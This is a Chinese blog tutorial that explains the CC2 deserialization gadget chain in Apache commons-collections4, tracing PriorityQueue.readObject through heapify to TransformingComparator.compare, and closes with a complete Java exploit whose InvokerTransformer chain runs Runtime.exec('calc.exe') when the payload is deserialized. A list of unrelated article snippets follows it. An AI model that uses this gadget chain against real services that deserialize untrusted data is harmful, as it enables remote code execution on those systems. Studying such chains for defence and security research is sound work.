【Web】Java反序列化之CC2——commons-collections4的新链之一
目录
关于commons-collections4
一个重要的思维模型
触发Transform的关键类:TransformingComparator
反序列化的入口:PriorityQueue
Exp
关于commons-collections4
commons-collections4 是 Apache Commons 组件库中的一个项目,它是对旧版本 commons-collections 的重构和升级。主要的区别包括:
-
API 设计:commons-collections4 重新设计了 API,并且引入了一些新的功能和改进,同时也修复了一些旧版本中存在的 bug。
-
性能优化:commons-collections4 进行了性能优化,使得在实际使用中更加高效。
-
安全性增强:commons-collections4 引入了更多的安全性措施,以防止常见的安全漏洞。
commons-collections4有了两条新的利用链,CC2和CC4,这篇文章简单聊聊CC2
一个重要的思维模型
CC链是一条Serializable#readObject()到Transformer#transform()的调用链
触发Transform的关键类:TransformingComparator
看其compare方法就可,简单粗暴直接调用transform
public int compare(I obj1, I obj2) {O value1 = this.transformer.transform(obj1);O value2 = this.transformer.transform(obj2);return this.decorated.compare(value1, value2);}
现在我们的任务就是怎么去调用TransformingComparator的compare方法
反序列化的入口:PriorityQueue
先看PriorityQueue的构造方法,要求传入一个int和一个Comparator
public PriorityQueue(int initialCapacity,Comparator<? super E> comparator) {// Note: This restriction of at least one is not actually needed,// but continues for 1.5 compatibilityif (initialCapacity < 1)throw new IllegalArgumentException();this.queue = new Object[initialCapacity];this.comparator = comparator;}
再来看PriorityQueue的readObject方法
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {// Read in size, and any hidden stuffs.defaultReadObject();// Read in (and discard) array lengths.readInt();SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Object[].class, size);final Object[] es = queue = new Object[Math.max(size, 1)];// Read in all elements.for (int i = 0, n = size; i < n; i++)es[i] = s.readObject();// Elements are guaranteed to be in "proper order", but the// spec has never explained what that might be.heapify();}
最后调用了heapify方法
显然由构造方法传入的comparator不为null,heapify方法进了else分支调用siftDownUsingComparator
private void heapify() {final Object[] es = queue;int n = size, i = (n >>> 1) - 1;final Comparator<? super E> cmp;if ((cmp = comparator) == null)for (; i >= 0; i--)siftDownComparable(i, (E) es[i], es, n);elsefor (; i >= 0; i--)siftDownUsingComparator(i, (E) es[i], es, n, cmp);}
而siftDownUsingComparator内部会调用构造方法传入的comparator的compare方法,此时我们只要令comparator为TransformingComparator即可完成利用链的调用。
private static <T> void siftDownUsingComparator(int k, T x, Object[] es, int n, Comparator<? super T> cmp) {// assert n > 0;int half = n >>> 1;while (k < half) {int child = (k << 1) + 1;Object c = es[child];int right = child + 1;if (right < n && cmp.compare((T) c, (T) es[right]) > 0)c = es[child = right];if (cmp.compare(x, (T) c) <= 0)break;es[k] = c;k = child;}es[k] = x;}
Exp
package com.CC2;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;public class CC2 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {Transformer[] fakeTransformers = new Transformer[] {newConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Comparator comparator = new TransformingComparator(transformerChain);PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(1);queue.add(2);setFieldValue(transformerChain, "iTransformers", transformers);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}相关文章:
【Web】Java反序列化之CC2——commons-collections4的新链之一
目录 关于commons-collections4 一个重要的思维模型 触发Transform的关键类:TransformingComparator 反序列化的入口:PriorityQueue Exp 关于commons-collections4 commons-collections4 是 Apache Commons 组件库中的一个项目,它是对旧…...
golang使用gorm操作mysql1
1.mysql连接配置 package daoimport ("fmt""gorm.io/driver/mysql""gorm.io/gorm""gorm.io/gorm/logger" )var DB *gorm.DB// 连接数据库,启动服务的时候,init方法就会执行 func init() {username : "roo…...
Flutter异常上报及性能监控实现
1. 页面异常监测 在Flutter中,通常用FlutterError监测Flutter框架抛出的异常,用runZonedGuarded监测应用中用户代码异常。 class AppGuarded {run(Widget app) {//1. 用FlutterError监测flutter框架抛出的异常FlutterError.onError (FlutterErrorDetail…...
基于springboot+vue的工厂车间管理系统
博主主页:猫头鹰源码 博主简介:Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战,欢迎高校老师\讲师\同行交流合作 主要内容:毕业设计(Javaweb项目|小程序|Pyt…...
Java基础 - Stream 流:Stream API的终端操作
在前两篇博客中,我介绍了构建 Stream 流的多种方式,以及 Stream API 的中间操作,如果你还没有阅读,你可以点击这里和这里查看。 Java基础 - Stream 流:构建流的多种方式 Java基础 - Stream 流:Stream API…...
高级语言期末2009级A卷(计算机学院)
1.编写函数,打印下列序列0,1,1,2,3,5,8,13,21,34...(斐波那契序列)的前n项 #include <stdio.h>int main() {int x0,y1,z,n;scanf("%d",&…...
docker-compose搭建php开发环境
Docker Compose简介 Compose 是用于定义和运行多容器 Docker 应用程序的工具。通过 Compose,您可以使用 YML 文件来配置应用程序需要的所有服务。然后使用一个命令,就可以从 YML 文件配置中创建并启动所有服务。而DockerCompose作为一种容器编排工具&…...
翻译论文:Beating Floating Point at its Own Game: Posit Arithmetic(一)
仅作记录学习使用,侵删 原文Beating Floating Point at its Own Game: Posit Arithmetic 参考翻译Posit: 替换IEE754的新方式 | SIGARCH 摘要 IEEE标准754浮点数(浮点数)的直接接点替换 Posit的优势 不需要区间算术或可变大小操作数 如…...
【数据结构-图论】并查集
并查集(Union-Find)是一种数据结构,它提供了处理一些不交集的合并及查询问题的高效方法。并查集主要支持两种操作: 查找(Find):确定某个元素属于哪个子集,这通常意味着找到该子集的…...
云计算时代的运维: 职业发展方向与岗位选择
✨✨ 欢迎大家来访Srlua的博文(づ ̄3 ̄)づ╭❤~✨✨ 🌟🌟 欢迎各位亲爱的读者,感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua,在这里我会分享我的知识和经验。&#x…...
java锁底层概述
Java中的锁是并发编程中核心的同步机制之一,用于控制多个线程对共享资源的访问,以保证数据的一致性和完整性。Java锁的底层实现依赖于操作系统的原生线程模型和Java虚拟机(JVM)的实现。这里主要讨论两种常见的锁:synch…...
win10如何添加指纹登陆
1、首先进入设置,进入下一个设置页面 2、在下一个设置页面内,我们直接使用右上角的搜索框,输入“指纹/finger”进行搜索。回车之后进入设置指纹登陆选项 3、设置指纹登陆的前期是设置好你的密码和pin码(先要设定登录密码和pin码),这里pin和密码都可以直接登陆我们的win10,设…...
足底筋膜炎的症状及治疗
足底筋膜炎症状:足底筋膜炎通常表现为足跟部疼痛,尤其是在晨起或长时间站立、行走后加重。疼痛可能向足底前部或足弓处放射,严重时可能影响行走。此外,患者还可能出现足跟部肿胀、皮肤温度升高、局部压痛等症状。 足底筋膜炎治疗方…...
udp丢包问题研究
//发现udp 有收不到数据包现象. 一: 观察丢包 1. ifconfig enp8s0 2. netstat -s -u 二: 修改系统缓存参数. recv_buffer_size 修改系统buffer_size sysctl -w net.core.rmem_max26214400 sysctl -w net.core.rmem_default26214400 三: 应用程序考虑 av_dict_set(&m_o…...
在idea中用模板骨架初始创建maven管理的web项目时没有src有关的目录的解决方案
一.问题如下 二.解决方法 首先关闭当前项目,接着修改全局设置,重新创建项目 在VM Options中添加"-DarchetypeCataloginternal",点击ok保存 点击创建,如果创建成功没报错且有src,就ok了。 当然如果出现以下…...
WPF 【十月的寒流】学习笔记(2):MVVM中是怎么实现通知的
文章目录 前言相关链接代码仓库项目配置代码初始代码ViewPersonViewModel 尝试老办法通知解决方案ObservableCollectionBindingListICollectionView 总结 前言 我们这次详细了解一下列表通知的底层是怎么实现的 相关链接 十月的寒流 MVVM实战技巧之:可被观测的集合…...
数据结构:广义表
定义:有序数列 表示GL=(a(b,c))长度 2, 表头:a 表尾:(&am…...
你好,C++(18) 到底要不要买这个西瓜?4.1.6 操作符之间的优先顺序
你好,C(18) 到底要不要买这个西瓜?4.1.6 操作符之间的优先顺序 4.1.6 操作符之间的优先顺序 在表达一些比较复杂的条件判断时,在同一个表达式中,有时可能会存在多个操作符。比如,我们在判断要…...
C语言 for 循环语句的基本格式是什么?
一、问题 for 循环语句在C语⾔中是最为常见的循环语句,其功能强⼤,⽽且⽤法灵活,那么它的基本格式是什么呢? 二、解答 for 语句的⼀般形式为: for(表达式1;表达式2;表达3)语句; 每条 for 语句包含三个⽤分…...
项目-SERVER模块-日志宏
日志宏 #define INF 0 #define DBG 1 #define ERR 2#define LOG_LEVEL INF #define LOG(level, format, ...) do {\if (level < LOG_LEVEL) break;\time_t t time(NULL);\struct tm *ltm localtime(&t);\char tmp[32] {0};\strftime(tmp, 31, "%H:%M:%S"…...
别再手动解析AT指令了!手把手教你用C语言构建一个可扩展的AT协议解析框架
构建高扩展性AT指令解析框架:从零设计到工业级实现 在嵌入式开发领域,AT指令作为模块间通信的通用语言,几乎出现在所有无线通信模组的交互中。但面对不同厂商五花八门的指令格式,开发者往往陷入重复造轮子的困境——每次对接新模组…...
LobeChat作品集:基于开源框架搭建的智能对话应用案例展示
LobeChat作品集:基于开源框架搭建的智能对话应用案例展示 1. 开篇:认识LobeChat的魅力 LobeChat作为一款开源的高性能聊天机器人框架,正在改变人们与AI对话的方式。它不仅仅是一个简单的聊天界面,而是一个功能丰富的智能对话平台…...
ALOS DSM: Global 全球数字地表模型 (DSM) 数据集30m v4.1
目录 简介 数据集说明 空间信息 变量 代码 代码链接 结果 引用 许可 简介 ALOS World 3D - 30m (AW3D30) 是一种全球数字地表模型 (DSM) 数据集,水平分辨率约为 30 米(1 角秒网格)。该数据集基于 World 3D Topographic Data 的 DSM…...
Python的__complex__方法支持复数的实部虚部访问与运算重载
Python作为一门功能强大的编程语言,其面向对象特性允许开发者通过特殊方法自定义类的行为。其中,__complex__方法为复数运算提供了灵活的支持,使得开发者能够轻松实现复数的实部虚部访问与运算重载。复数在科学计算、信号处理等领域有着广泛应…...
3步掌握sndcpy:Android音频无线转发终极指南
3步掌握sndcpy:Android音频无线转发终极指南 【免费下载链接】sndcpy Android audio forwarding PoC (scrcpy, but for audio) 项目地址: https://gitcode.com/gh_mirrors/sn/sndcpy 在移动办公和内容创作日益普及的今天,你是否遇到过这样的困扰&…...
WarcraftHelper终极指南:5分钟让魔兽争霸3重获新生
WarcraftHelper终极指南:5分钟让魔兽争霸3重获新生 【免费下载链接】WarcraftHelper Warcraft III Helper , support 1.20e, 1.24e, 1.26a, 1.27a, 1.27b 项目地址: https://gitcode.com/gh_mirrors/wa/WarcraftHelper 你是否还在为经典游戏《魔兽争霸3》在现…...
终极指南:5分钟解锁Minecraft源码的完整反编译方案
终极指南:5分钟解锁Minecraft源码的完整反编译方案 【免费下载链接】DecompilerMC This repository allows you to decompile any minecraft version that was published after 19w36a without any 3rd party mappings, you just need to execute the script or the…...
DeerFlow进阶技巧:自定义研究流程,打造专属智能助理
DeerFlow进阶技巧:自定义研究流程,打造专属智能助理 如果你已经体验过DeerFlow的基础功能,知道它能帮你搜索信息、分析数据、生成报告,那么今天我们来聊聊更有意思的部分——如何让它真正成为你的专属智能助理。 很多朋友用Deer…...
避坑指南:为什么conda安装ipywidgets后tqdm进度条还是不显示?完整排查流程
深度排查:为什么conda安装ipywidgets后tqdm进度条依然消失? 当你满怀期待地在JupyterLab中运行数据分析脚本,却发现tqdm进度条只输出冷冰冰的HBox提示而非动态可视化效果时,这种挫败感就像等待下载进度条卡在99%。本文将从底层原理…...
WeChatExporter:解锁iOS微信聊天记录的自由备份终极指南
WeChatExporter:解锁iOS微信聊天记录的自由备份终极指南 【免费下载链接】WeChatExporter 一个可以快速导出、查看你的微信聊天记录的工具 项目地址: https://gitcode.com/gh_mirrors/wec/WeChatExporter 你是否曾因误删重要微信聊天记录而懊恼?是…...
